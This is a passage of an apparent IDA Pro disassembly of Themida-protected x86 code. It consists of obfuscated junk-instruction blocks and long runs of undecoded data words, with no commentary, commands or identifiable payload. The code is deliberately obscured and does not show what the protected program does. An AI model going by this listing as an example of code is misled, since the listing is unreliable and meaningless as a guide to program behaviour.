		neg	esi
		xor	esi, 3CA534DFh
		or	esi, 663F64F7h
		add	esi, 6B911426h
		and	ebp, esi
		pop	esi
		xor	ebp, 41430194h
		push	ebp
		add	dword ptr [esp], 2CD334E2h
		pop	esi
		sub	esi, 2CD334E2h
		mov	ebp, [esp]
		jmp	loc_544972
; ---------------------------------------------------------------------------
		dw 8D68h
		dd 89000012h, 0EC81242Ch, 4, 6623E9h, 241C8700h, 2414895Ch
		dd 0FFF2E2E9h, 4C483FFh, 0D28BF681h, 0F2295FE4h, 0EFED815Eh
		dd 2922F138h, 0EFC581D5h, 0E922F138h, 0FFFFC66Bh, 4C181h
		dd 82E90000h, 8BFFFFD2h, 0EC83240Ch, 242C8904h,	6FC4E9h
		dd 74FF5200h, 8F5A0424h, 0F5C2404h, 0AFE9C8BFh
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548E1F:				; CODE XREF: Themida_:0054497Aj
		neg	ecx
		xchg	ecx, esi
		push	3884h
		mov	[esp], esi
		push	ecx
		pop	esi
		pop	ecx
		not	ecx
		xchg	ecx, esi
		shr	esi, 1
		sub	esi, 28A10548h
		and	ecx, esi
		pop	esi
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5466E4
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 48E95824h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548E57:				; CODE XREF: Themida_:00546C01j
		mov	eax, 5D96057Fh
		push	ecx
		push	6CCF3368h
		pop	ecx
		add	ecx, 0B04A20D2h
		push	ecx
		sub	dword ptr [esp], 1A3C3D06h
		pop	ebp
		add	ebp, 1A3C3D06h
		pop	ecx
		add	ebp, eax
		pop	eax
		sub	[esp+4], ebp
		pop	ebp
		pop	eax
		jmp	loc_54777E
; ---------------------------------------------------------------------------
		align 4
		dd 0FEB7E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548E8E:				; CODE XREF: Themida_:00549933j
		sub	cl, 48h
		neg	cl
		jmp	loc_54F13E
; ---------------------------------------------------------------------------
		dd 0E9C28952h, 0FFFFEB87h, 4DAEF381h, 0DA0140AAh, 8FE9585Bh
		dd 5BFFFFBDh, 5C241487h, 68E1F766h, 7398h, 0E9241489h
		dd 0FFFFF6DAh, 240C8B66h, 61EA68h, 24048900h, 6856E089h
		dd 4, 585B055Eh, 0DF05388Ch, 1008965h, 65DF2DF0h, 5B2D0089h
		dd 8B388C58h, 89572434h, 4C781E7h, 55000000h, 0FFE230E9h
		dd 4CE381FFh, 0E95F3628h, 0FFFFCE31h, 4C2CEF81h, 97E946AFh
		dd 0FF00003Eh, 0AEE92434h, 5800005Ah, 0FE8C281h, 0E2E9418Eh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548F2B:				; CODE XREF: Themida_:00545439j
		xor	eax, ecx
		push	1667h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		jmp	loc_5446D1
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 0E7D2E907h, 335AFFFFh, 0BBE9243Ch
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_548F67:				; CODE XREF: Themida_:00544E4Ej
		push	esi
		jmp	loc_548C7F
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 0DE31E953h, 0C681FFFFh, 69053985h, 3AC4E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548F8A:				; CODE XREF: Themida_:0054EA78j
		pop	eax
		neg	ebx
		jmp	loc_54BEDA
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89665710h, 0F66240Ch, 5166C8B6h, 0B203E99Ch,	8B66FFFFh
		dd 0EC81240Ch, 4, 54241C89h, 50241C8Bh,	405E089h, 5000000h
		dd 4, 31240433h, 4332404h, 7263E924h, 34BD0000h, 0E952A55Fh
		dd 6CA1h, 28C3E581h, 0E5813CD4h, 5B4F27D4h, 16C5F581h
		dd 87E91BDEh, 0BD000021h, 2, 335DEA01h,	14312414h, 24143324h
		dd 0E924248Bh, 6358h, 54242C89h, 73E7E9h, 80E2B100h, 0CF3028E9h
		dd 4E6DE9h, 58C20100h, 5FECEA81h, 0F2816F07h, 6F08E1DEh
		dd 0E95AD329h, 0FFFFEC8Eh, 56242489h, 4BEh, 24740100h
		dd 5EE95E04h, 8B000048h, 3B662424h, 52E99CC8h, 4BFFFFB1h
		dd 0AE9E3D1h, 8900001Ch, 348151C1h, 6A75AE24h, 24348B21h
		dd 5E08950h, 4,	8704C083h, 815C2404h, 6A75AEF6h, 59585921h
		dd 4247401h, 0FFB502E9h, 80FB9FFh, 4C014034h, 0C8B0C24h
		dd 4C48324h, 8245401h, 8246C81h, 4034080Fh, 32C5E9h, 2434FF00h
		dd 4C4815Dh, 0E9000000h, 0FFFFF790h, 0EDE95854h, 500005Bh
		dd 75054DFDh, 0E958C689h, 0FFFFF91Ch, 2434FF5Ah, 592434FFh
		dd 4C481h, 0C4810000h, 4, 5B4BD55h, 0EC8174CCh,	4, 0F7242C89h
		dd 815D2414h, 0A70E91EDh, 47D9E964h, 4BF0000h, 1000000h
		dd 4FE95FFEh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54910F:				; CODE XREF: Themida_:005481B6j
		pop	ecx
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	ecx
		push	edx
		mov	edx, 0C3B4C62h
		mov	ecx, 0C3B4C66h
		jmp	loc_544C1A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 89565024h, 4C681E6h,	81000000h, 4EEh, 24348700h, 2424895Ch
		dd 4240481h, 0E9000000h, 6DB9h,	5B04C483h, 239E9h, 59C18100h
		dd 130715Bh, 40559C8h, 87000000h, 8F5C2404h, 895C2404h
		dd 7DE9240Ch, 81FFFFE9h, 0EB714EC9h, 0D2F18148h, 8138371Ah
		dd 271068C1h, 59C8018Ah, 4BD55h, 0E8010000h, 74FF505Dh
		dd 0E9580424h, 6D24h, 0C8B665Ch, 0E6895624h, 7CAE68h, 240C8900h
		dd 4BB53h, 0D9890000h, 59CE015Bh, 0E904EC83h, 4D18h, 7545B951h
		dd 0C1417910h, 814905E1h, 0B95DB6E1h, 6E1C17Ah,	5387C181h
		dd 0CF010615h, 0D8BA5259h, 291F6C66h, 0F8015AD0h, 0FFBF27E9h
		dd 6866FFh, 1C89666Bh, 5147B324h, 0C059B252h, 0CAFE02E2h
		dd 39D9E9h, 0C7315E00h,	53D3E958h, 48B0000h, 4C48124h
		dd 83000000h, 966804C4h, 8900005Eh, 89522414h, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 8E0E9h, 80F8B600h, 0CE8051CEh
		dd 4FF6804Dh, 0D4F6E686h, 0EE80E686h, 0B151662Ah, 66CE3000h
		dd 5AF10859h, 80DEE980h, 0CE0006C6h, 0FF06EE80h, 81592434h
		dd 4C4h, 8BF02800h, 89562414h, 4C681E6h, 83000000h, 343304C6h
		dd 24343124h, 0E9243433h, 4149h, 33AFEE81h, 0CE016059h
		dd 33AFC681h, 51596059h, 860EC9B9h, 0E9505726h,	0FFFFF6E7h
		dd 0E95FFE01h, 1679h, 42474FFh,	6E01E9h
		db 0
; ---------------------------------------------------------------------------


loc_5492C1:				; CODE XREF: Themida_:00547D99j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	5CA6h
		mov	[esp], edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5485FA
; ---------------------------------------------------------------------------
aISu8		db '8',0
		align 10h
		dd 54F28158h, 58B1B14h,	1F816F3Bh, 3B2DD001h, 5A1F816Fh
		dd 242C8B50h, 8B04C483h, 0EC812404h, 4,	1DCCE9h, 24148B00h
		dd 0FFDB0AE9h, 0F9EC80FFh, 0C480CCFEh, 66E530BCh, 0A5ED8058h
		dd 0E8280704h, 5600E9h,	242C8B00h, 8104C483h, 4ECh, 242C8900h
		dd 3FBFE9h, 31106800h, 1C8B36D7h, 4C48324h, 7BADE381h
		dd 0E3C131D6h, 0FCEB8105h, 531AC61Fh, 0F0015B5Eh, 8324348Bh
		dd 0E88304C4h, 24043302h, 33240431h, 248B2404h,	4896624h
		dd 0F024E924h, 0CA01FFFFh, 57E2D159h, 37FFE953h, 0EE810000h
		dd 30FC048Dh, 0FFF06CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5493A1:				; CODE XREF: Themida_:0054EDA4j
		mov	esp, [esp]
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 81000000h,	2F33ECF6h, 0FFF02131h, 34FF2434h
		dd 2FE2E924h, 4830000h,	555A0424h, 0AE4AA9BDh, 4EC8117h
		dd 0E9000000h, 0FFFFCE7Fh, 0E904ED83h, 0FFFFCBC9h, 207F83h
		dd 0C549840Fh, 0E950FFFFh, 0C19h, 13D6E781h, 0D7F77DA6h
		dd 0F77BBD55h, 1DE9C3DBh, 0F00003Eh, 48DC0B6h, 5E545687h
		dd 19AFE9h, 40500h, 4870000h, 20E95C24h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549427:				; CODE XREF: Themida_:00544FDDj
		push	esi
		jmp	loc_548831
; ---------------------------------------------------------------------------


loc_54942D:				; CODE XREF: Themida_:00544F39j
		add	esp, 4
		jmp	loc_544F18
; ---------------------------------------------------------------------------


loc_549435:				; CODE XREF: Themida_:0054B02Ej
		xchg	edi, [esp]
		pop	esp
		sub	[edi+24h], ebx
		pop	ebx
		push	eax
		push	3A8Ch
		jmp	loc_54F430
; ---------------------------------------------------------------------------
		dd 0A70690BAh, 24B02D3Fh, 0D02946E6h, 58E6BE56h, 0C6814285h
		dd 6B823ADEh, 851EE81h,	85E94F01h, 55FFFFB8h, 0FFB50EE9h
		dd 66D800FFh, 663AD068h, 0B3241C89h, 35CB809Fh,	36D4E9h
		dd 22685700h, 0E97D037Dh, 0FFFFB3F0h, 0E903EBC1h, 4A7Eh
		dd 5468C689h, 0E900003Ah, 9C6h,	5B241C29h, 613EE9h, 5BD82800h
		dd 0FFFFBCE9h, 81E789FFh, 4C7h,	7CE95100h, 5FFFFEEh, 62091AC2h
		dd 0B7097A05h, 0B5E95D07h, 1FFFFDBh, 89EF81DFh,	8B6A8B0Ch
		dd 8957241Ch, 4C781E7h,	81000000h, 4C7h, 243C8700h, 0FFB373E9h
		dd 5DEA01FFh, 1E76ED81h, 0D50122D2h, 1E76C581h,	34FF22D2h
		dd 0BF9CE924h, 0EA81FFFFh, 37C1EBEh, 0FFC2DAE9h, 4C481FFh
		dd 0
		dd 43C380C3h, 0FFE8EDE9h, 2414F7FFh, 1C5815Dh, 81000000h
		dd 0D99D62F5h, 0E9EF2985h, 4FFEh, 0A3240481h, 0E92D1B5Dh
		dd 0FFFFC8E7h, 0C8BCB01h, 4C48324h, 0FFEE2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549559:				; CODE XREF: Themida_:00548ACBj
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 196E07AAh
		jmp	loc_54F831
; ---------------------------------------------------------------------------
		dd 6C6E5105h, 2DE80106h, 66C6E51h, 6BD555Dh, 2965E935h
		dd 242C8BE8h, 0C104C483h, 0C4E908E0h, 29FFFFCFh, 0E95D5DE8h
		dd 0FFFFE591h
; ---------------------------------------------------------------------------


loc_549594:				; CODE XREF: Themida_:0054FA35j
		mov	esi, 3E783B27h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 15663162h
		add	esi, ebp
		pop	ebp
		shl	esi, 1
		push	edi
		jmp	loc_5442C6
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2, 3FE9F201h, 52000007h, 8315DFBAh, 24540164h, 0BB535A04h
		dd 168C04FDh, 4245C01h,	0E92434FFh, 5EBFh, 4C681h, 0C6810000h
		dd 4, 0E9243487h, 4047h, 0EB285866h, 0B4506659h, 0E9E3007Bh
		dd 0FFFFECD4h, 68B3ED81h, 0F581719Ah, 33E44382h, 0CBED8145h
		dd 0E90C1D75h, 0FFFFE4DDh, 2D1BE958h, 5F520000h, 8124148Bh
		dd 4C4h, 5FFD0100h, 2474FF55h, 27C6E904h, 0A4B80000h, 317C1212h
		dd 814B58C3h, 0A20F57EBh, 0E9DA891Bh, 99Fh, 1F65EF81h
		dd 0EF81603Bh, 302734Ch, 0CF81DFF7h, 3E3C0Ah, 0FFCAADE9h
		dd 31D5F7FFh, 5E8E9E8h,	1C870000h, 0C104E924h, 33FFFFFFh
		dd 22DEE9h, 0ACEE8000h,	0AFE9E628h, 58FFFFB3h, 0FFFFEB81h
		dd 0C381FFFFh, 2BECC73Ch, 685BD901h, 42A6h, 0BD242C89h
		dd 24D05EC5h, 5708EDC1h, 9C4245BFh, 8BFD012Fh, 41E9243Ch
		dd 0BE000058h, 3D873C3Eh, 408E9h, 51E58900h, 4EC81h, 53E90000h
		dd 28FFFFD6h, 0F65866E5h, 80C5FED5h, 0E828BFF5h, 0FFC0CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5496DD:				; CODE XREF: Themida_:0054E05Bj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		push	0FFFFFFFFh
		jmp	loc_54B10C
; ---------------------------------------------------------------------------
aYsB		db '[YB',0
		align 4
		dd 0A62E9B05h, 55A5E60h, 796146Fh, 0FFC358E9h, 0F1815AFFh
		dd 2E957D92h, 0FFE63CE9h, 0F2685EFFh, 89000013h, 2BE92404h
		dd 81FFFFE5h, 4ECh, 241C8900h, 0C381E389h, 4, 2C381h, 0EC830000h
		dd 241C8904h, 42474FFh,	5B2434FFh, 0F09E951h, 56E90000h
		dd 0BAFFFFAAh, 2E683BB4h, 5202E2C1h, 13BDE9h, 0F6586600h
		dd 563FE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54976A:				; CODE XREF: Themida_:00546328j
		mov	dl, 18h
		xor	cl, dl
		pop	dx
		jmp	loc_5498DF
; ---------------------------------------------------------------------------
aAhp8sie	db '-AhP8E',0
		dw 3100h
		dd 0C33240Ch, 2C895C24h, 2474FF24h, 48F5D04h, 24895C24h
		dd 24048124h, 4, 0FFE8F5E9h, 0E957ADFFh, 0FFFFB5FAh, 0E924248Bh
		dd 0FFFFF4C4h, 1685E956h, 2C310000h, 242C3324h,	83242C31h
		dd 2C8904ECh, 2F75E924h, 34FF0000h, 0BBFFE924h,	1C89FFFFh
		dd 0EC815A24h, 4, 81241489h, 6295242Ch,	50583394h, 2620E9h
		dd 24048B00h, 4852E9h, 4C48100h, 0B6000000h, 8BDE30DFh
		dd 0C481241Ch, 4, 691BE9h, 2474FF00h, 24148B04h, 4C481h
		dd 48F0000h, 3A8E924h, 3C310000h, 0C8FBE924h, 3C8BFFFFh
		dd 4C48324h, 51243C8Bh,	0C181E189h, 4, 4C181h, 0C870000h
		dd 2F19E924h, 0EAC10000h, 81D2F703h, 0CCACCEEAh, 85C281A8h
		dd 1E9E540h, 0E9565AD5h, 7CCh
; ---------------------------------------------------------------------------


loc_549864:				; CODE XREF: Themida_:005446A5j
		not	edi
		jmp	loc_54C4C8
; ---------------------------------------------------------------------------
aBiJSk		db '\:j^K=',0
		align 2
		dw 0F788h
		dd 0E9515A66h, 0FFFFF795h, 0D65CEE81h, 0C683329Bh, 81D6F701h
		dd 4ECh, 0C803E900h, 0C481FFFFh, 4, 0FFA908E9h,	6CBF57FFh
		dd 1237A16h, 6896E9FAh,	0B8500000h, 2C975D83h, 0FFB793E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5498B9:				; CODE XREF: Themida_:0054ED5Aj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	43EFh
		jmp	loc_5481F5
; ---------------------------------------------------------------------------
		dw 5866h
		dd 0EB80EB00h, 0FDE95264h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5498DF:				; CODE XREF: Themida_:00549770j
		add	dh, 0ADh
		add	dh, cl
		sub	dh, 0ADh
		mov	ecx, [esp]
		add	esp, 4
		xor	dh, 3Eh
		sub	al, dh
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_54ECCB
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9240489h, 2CC5h, 6CFAB951h, 0EC813DC8h, 4,	0BD242C89h
		dd 42726DCEh, 0F75DE921h, 0F8CE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54992E:				; CODE XREF: Themida_:0054755Dj
		mov	cl, 97h
		add	cl, 5Ch
		jmp	loc_548E8E
; ---------------------------------------------------------------------------
		dd 87BB535Eh, 0C13C9523h, 0F75303E3h, 515B2414h, 0D97883B9h
		dd 0F7D1F72Fh, 0F8F181D9h, 0E92E505Bh, 3721h, 8026EE80h
		dd 0B1E9BEF6h, 80FFFFC6h, 0F100B7F6h, 0AAEFE95Ah, 6EBAFFFFh
		dd 0C1324341h, 814A02EAh, 90D05EF2h, 82EB810Ch,	1373D23h
		dd 82C381D3h, 5A373D23h, 8702C383h, 248B241Ch, 4016624h
		dd 6E99C24h, 5BFFFFA8h,	343EE9h, 4C48300h, 4EC81h, 1C890000h
		dd 81F38924h, 4ECh, 243C8900h, 0F889DF89h, 2434FF5Fh, 4C4835Bh
		dd 53CC685Eh, 7BE90000h, 51FFFFAEh, 0E5485368h,	240C8B7Ch
		dd 0FFADF0E9h, 0C9BA52FFh, 5207FA4Ah, 5A240CFFh, 4ADC68h
		dd 241C8900h, 861144BBh, 0EB814B6Bh, 575ABE1h, 34FFDA31h
		dd 0C4815B24h, 4, 0B823E94Ah, 8B66FFFFh, 0A9E9240Ch, 81000032h
		dd 4C5h, 4ED8300h, 8B242C87h, 24892424h, 4BA5224h, 0E9000000h
		dd 327Dh, 5024048Fh, 18F3E9h, 40500h, 0CAE90000h, 57FFFFF9h
		dd 434210BFh, 0E9D7F76Fh, 0FFFFE72Bh
; ---------------------------------------------------------------------------


loc_549A5C:				; CODE XREF: Themida_:0054DBD2j
		xor	ebp, eax
		xor	eax, ebp
		push	ebp
		jmp	loc_546945
; ---------------------------------------------------------------------------
		dw 37B8h
		dd 294A1127h, 0F58158C5h, 160E2422h, 1609E9h
		db 0
; ---------------------------------------------------------------------------


loc_549A79:				; CODE XREF: Themida_:0054B573j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 1E66B9Ah
		shr	ebp, 5
		push	ecx
		mov	ecx, 2DFA222Ch
		and	ecx, 27034AA4h
		xor	ecx, 2846184Ah
		xor	ecx, 45BC09DFh
		and	ecx, 61FB658Eh
		and	ecx, 7A41024Dh
		push	ebx
		push	esi
		jmp	loc_546B97
; ---------------------------------------------------------------------------
		dd 0FFA6E4E9h, 5EF109FFh, 0C54EC181h, 0CE8995E2h, 5EF20159h
		dd 0FFA6D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549AD9:				; CODE XREF: Themida_:0054E2F9j
		push	5287C85h
		jmp	loc_547900
; ---------------------------------------------------------------------------
		db 66h
		dd 5224048Bh, 0DCD68h, 24248900h, 4B850h, 44010000h, 0EFE90424h
		dd 66FFFFBDh, 8124048Bh, 2C4h, 0A69BE900h, 0C681FFFFh
		dd 54BF4EC6h, 5E0CC681h, 535F18B9h, 214AE9h, 24895C00h
		dd 24048124h, 4, 4C2815Ah, 81000000h, 4C2h, 24143300h
		dd 33241431h, 248B2414h, 240CFF24h, 0A65BE99Ch,	0D0B8FFFFh
		dd 56EB11Dh, 7BCC5C8Bh,	0D8F7E0D1h, 7AE95548h, 9000054h
		dd 88840FC0h, 0FF00000Eh, 0E9561C77h, 0FFFFC002h, 9C2404FEh
		dd 0FFA62CE9h, 68E589FFh, 3182h, 0E9240C89h, 3B8Ah, 621C68h
		dd 240C8900h, 0B8505954h, 1E144A8Ah, 4EC8148h, 89000000h
		dd 7BBA2414h, 2DE1EBB5h, 39277516h, 1605D001h, 5A392775h
		dd 3396E981h, 0C1010B86h, 0FFD59DE9h, 0A5DFE9FFh, 0E95CFFFFh
		dd 0FFFFC2BBh, 8924248Bh, 41E9240Ch, 83FFFFDEh,	0D5E904ECh
		dd 52FFFFCEh, 0FD4542BAh, 0D9EA8145h, 81393B5Ch, 836E67EAh
		dd 0D694E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549BFA:				; CODE XREF: Themida_:0054F128j
		and	edi, 56A9341Bh
		jmp	loc_54717E
; ---------------------------------------------------------------------------
		db 66h,	68h, 0DBh
		dd 489663Ah, 0D1AEE924h, 34FFFFFFh, 0C4835924h,	0B51DE904h
		dd 0F66FFFFh, 5166C8B6h, 0A57FE99Ch, 0C8BFFFFh,	24E7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549C32:				; CODE XREF: Themida_:0054AA36j
		pop	dword ptr [esp]
		jmp	loc_548806
; ---------------------------------------------------------------------------
		dw 5359h
		dd 13F2E9h, 0C9CB8100h,	571DEB74h, 85701FBFh, 0B212E96Ah
		dd 0C531FFFFh, 31E9E831h, 52000008h, 1F23CCBAh,	5AD60107h
		dd 2D05E9h, 4C48300h, 0E924048Fh, 1481h, 4BA525Dh, 0E9000000h
		dd 342Fh, 0AFEE814Eh, 312F1131h, 352D5EF5h, 105B42Fh, 2F3505E8h
		dd 0E8E905B4h, 0FE000061h, 6E9C0C9h, 0E9B1C980h, 0CB5h
		dd 5624048Bh, 49C0E9h, 0E9525B00h, 421h, 240C8B66h, 8904EC83h
		dd 3CE9243Ch, 0F7000001h, 56C781D7h, 898ABE92h,	0BA525FF8h
		dd 2D8B179Bh, 15AD129h,	48A7E9C1h, 0C1810000h, 0CDB41489h
		dd 0FFF5A7E9h, 0B15166FFh, 66C82848h, 0EC63E959h, 335EFFFFh
		dd 14312414h, 54E3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549D06:				; CODE XREF: Themida_:0054FC16j
		sub	ebx, esi
		xchg	ebx, esi
		pop	ebx
		jmp	loc_5470AD
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 243C8704h, 78C7815Ch, 8179B343h
		dd 0B8489EC7h, 35EDE92Bh, 4890000h, 24B824h, 5DE90000h
		dd 0FFFFFFF1h, 65E92434h, 89FFFFFFh, 85B850E2h,	0E92EEF45h
		dd 0FFFFD58Ch, 54241C89h, 767E9h, 24348900h, 4422E9h, 3409BE00h
		dd 0F501395Dh, 10F5815Eh, 0E95E75AEh, 0F3Ah, 240C8B66h
		dd 4580E956h, 0E7280000h, 8BC0EF80h, 0C4812404h, 4, 2C5BF828h
		dd 0A997E9FBh, 34FFFFFFh, 0C4835824h, 89535704h, 348153F3h
		dd 2D070924h, 4FE95F38h, 900000Ah, 240C8BC8h, 8904EC83h
		dd 5D54242Ch, 4C581h, 5EE90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_549DC7:				; CODE XREF: Themida_:005445B1j
		and	esi, 571F600Fh
		sub	esi, 1
		jmp	loc_54A9CF
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0EBh
		dd 3BDF6913h, 166DC381h, 4CE96810h, 8300001Bh, 2C8904ECh
		dd 57E58924h, 0F20BFFBFh, 8E7C168h, 0FEFCEF81h,	0CDE9F20Bh
		dd 89000036h, 558CE9E7h, 0E0890000h, 0DABE9h, 24348700h
		dd 2B9515Ch, 29000000h,	2C8759CDh, 24248B24h, 240C8966h
		dd 0C8B60F66h, 0E99C5166h, 1795h, 8B2434FFh, 0C481243Ch
		dd 4, 148B5452h, 4C48124h, 0E9000000h, 3CEAh, 4C481h, 48F0000h
		dd 0EC835824h, 240C8904h, 790725B9h, 3B55E924h,	1C890000h
		dd 40BB24h, 0FB010000h,	470E68h, 4434E900h, 8B660000h
		dd 0EC812404h, 4, 54241C89h, 0E9241C8Bh, 1390h,	2B0DDE35h
		dd 58C10113h, 8B240C87h, 4012424h, 0FEE99C24h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549EAB:				; CODE XREF: Themida_:00544F46j
		mov	dh, ch
		mov	al, dh
		pop	edx
		neg	al
		mov	ch, al
		pop	ax
		xor	ch, 92h
		add	dl, ch
		pop	ecx
		push	cx
		mov	ch, 5Bh
		add	dl, ch
		mov	cx, [esp]
		add	esp, 2
		add	bl, dl
		pop	edx
		sub	bl, al
		push	0C26h
		jmp	loc_54D6E2
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0F2BB241Ch, 81E50A75h, 904823C1h,	81D9294Bh
		dd 904823E9h, 3CFDE94Bh, 0C6810000h, 4,	6197E9h, 6EEC100h
		dd 0FFAE1DE9h, 0EC8352FFh, 4896602h, 0A3B15124h, 8002E1C0h
		dd 0D9F6B5C9h, 0E9C2F180h, 174Dh, 0BE243489h, 2E7C096Ah
		dd 0FD4EE94Eh, 77FFFFFFh, 59669D1Ch, 2414D366h,	0A267E99Ch
		dd 2C89FFFFh, 7223BD24h, 6C312E0Dh, 0FF5D0424h,	56592434h
		dd 5959E954h, 0F9010000h, 6053E9h
		db 0
; ---------------------------------------------------------------------------


loc_549F61:				; CODE XREF: Themida_:0054BD0Aj
		pop	edi
		jmp	loc_546E5C
; ---------------------------------------------------------------------------
		db 81h
		dd 23042444h, 1579C6Ah,	0E9042474h, 5BA4h, 0DCE9D501h
		dd 5B000060h, 3C52E9h, 24040900h, 0A21BE99Ch, 0C481FFFFh
		dd 4, 4C181h, 0E9830000h, 819E904h, 0EB830000h,	241C8704h
		dd 2414895Ch, 4BAh, 523BE900h, 2BD0000h, 1000000h, 16E95DE9h
		dd 5A000057h, 4EB81h, 1C870000h, 0C895C24h, 531A6824h
		dd 2C890000h, 0CFD6E924h, 0C0FEFFFFh, 24E9EC04h, 5BFFFFACh
		dd 875AD729h, 7FE9243Ch, 0B5000032h, 5E5C072h, 206FED80h
		dd 0E95359EAh, 0FFFFBD27h
; ---------------------------------------------------------------------------


loc_54A004:				; CODE XREF: Themida_:00547EEEj
		mov	[esp], ecx
		push	5DBE7BC5h
		jmp	loc_548AA6
; ---------------------------------------------------------------------------
		db 0B8h, 0BFh, 58h
		dd 2205537Ah, 0D25E132h, 72A252EBh, 4876E9h, 2CC8FE00h
		dd 0E9C32841h, 644Fh, 5650EE89h, 51240481h, 58018D63h
		dd 8D63512Dh, 0E9C28901h, 3BBEh, 61468h, 24348900h, 0FFC147E9h
		dd 8FC581FFh, 212179FEh, 2884E9EBh, 0D7F70000h,	0D6F7F787h
		dd 0D7F7F787h, 29B0E947h, 66640000h, 8AE9028Bh,	25FFFFFBh
		dd 56DD70E2h, 0D0F7D0F7h, 504E0C1h, 6B7EFE60h, 0E6CE9h
		dd 241C8B00h, 0C2C0E956h, 0E3B9FFFFh, 5254012Fh, 993A73BAh
		dd 3EAC102h, 482F281h, 0D629074Ch, 57EE815Ah, 0E9317649h
		dd 0FFFFA52Fh
; ---------------------------------------------------------------------------


loc_54A0BC:				; CODE XREF: Themida_:0054FB8Bj
		pop	ebx
		push	ebp
		mov	ebp, 1B7D6273h
		add	ebx, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		and	eax, ebp
		jmp	loc_54E055
; ---------------------------------------------------------------------------
		db 0BAh, 21h, 4Bh
		dd 0D3015E70h, 242C8B5Ah, 4C481h, 0D8010000h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_548916
; ---------------------------------------------------------------------------
		dd 8105EDC1h, 924E54EDh, 0EDC14501h, 0F8F58108h, 129F618h
		dd 0E6C15DEEh, 9ECE906h, 31660000h, 8B66242Ch, 68562434h
		dd 7009h, 83242489h, 5E042404h,	4C681h,	0C6810000h, 2
		dd 8B243487h, 31662424h, 33662434h, 0BEE92434h,	1000024h
		dd 1C875EF3h, 24248B24h, 2474FF55h, 48F5D04h, 24248B24h
		dd 24148966h, 0E99C5066h, 0FFFFA035h, 0A5E9D000h, 100002Ch
		dd 241C8BD9h, 6804C483h, 705Eh,	0FFA16CE9h, 405FFh, 94680000h
		dd 89000033h, 74FF2404h, 48B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54C23B
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0AAF781EFh, 0E96E8B4Ah, 0FFFFFD9Eh, 0E904C483h, 0FFFFCAA9h
		dd 0E974EB80h, 2DA0h, 0E9E78957h, 4CB1h, 2414335Bh, 0E9241431h
		dd 8BBh, 51C88950h, 0FFEE76E9h,	1FE6B9FFh, 0C6E94E4Bh
		dd 80FFFFA5h, 0E6282AF4h, 8324048Bh, 0C68004C4h, 80DE006Ah
		dd 0F7E96AEEh, 81FFFFBEh, 8A7243CEh, 0FF6810Eh,	9D18186h
		dd 0D98DE9F7h, 5066FFFFh, 4805E9h, 4C58100h, 0E9000000h
		dd 4BEFh, 32E9E589h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A237:				; CODE XREF: Themida_:0054CAD0j
		mov	bl, ch
		pop	ecx
		pop	edx
		jmp	loc_5475CD
; ---------------------------------------------------------------------------
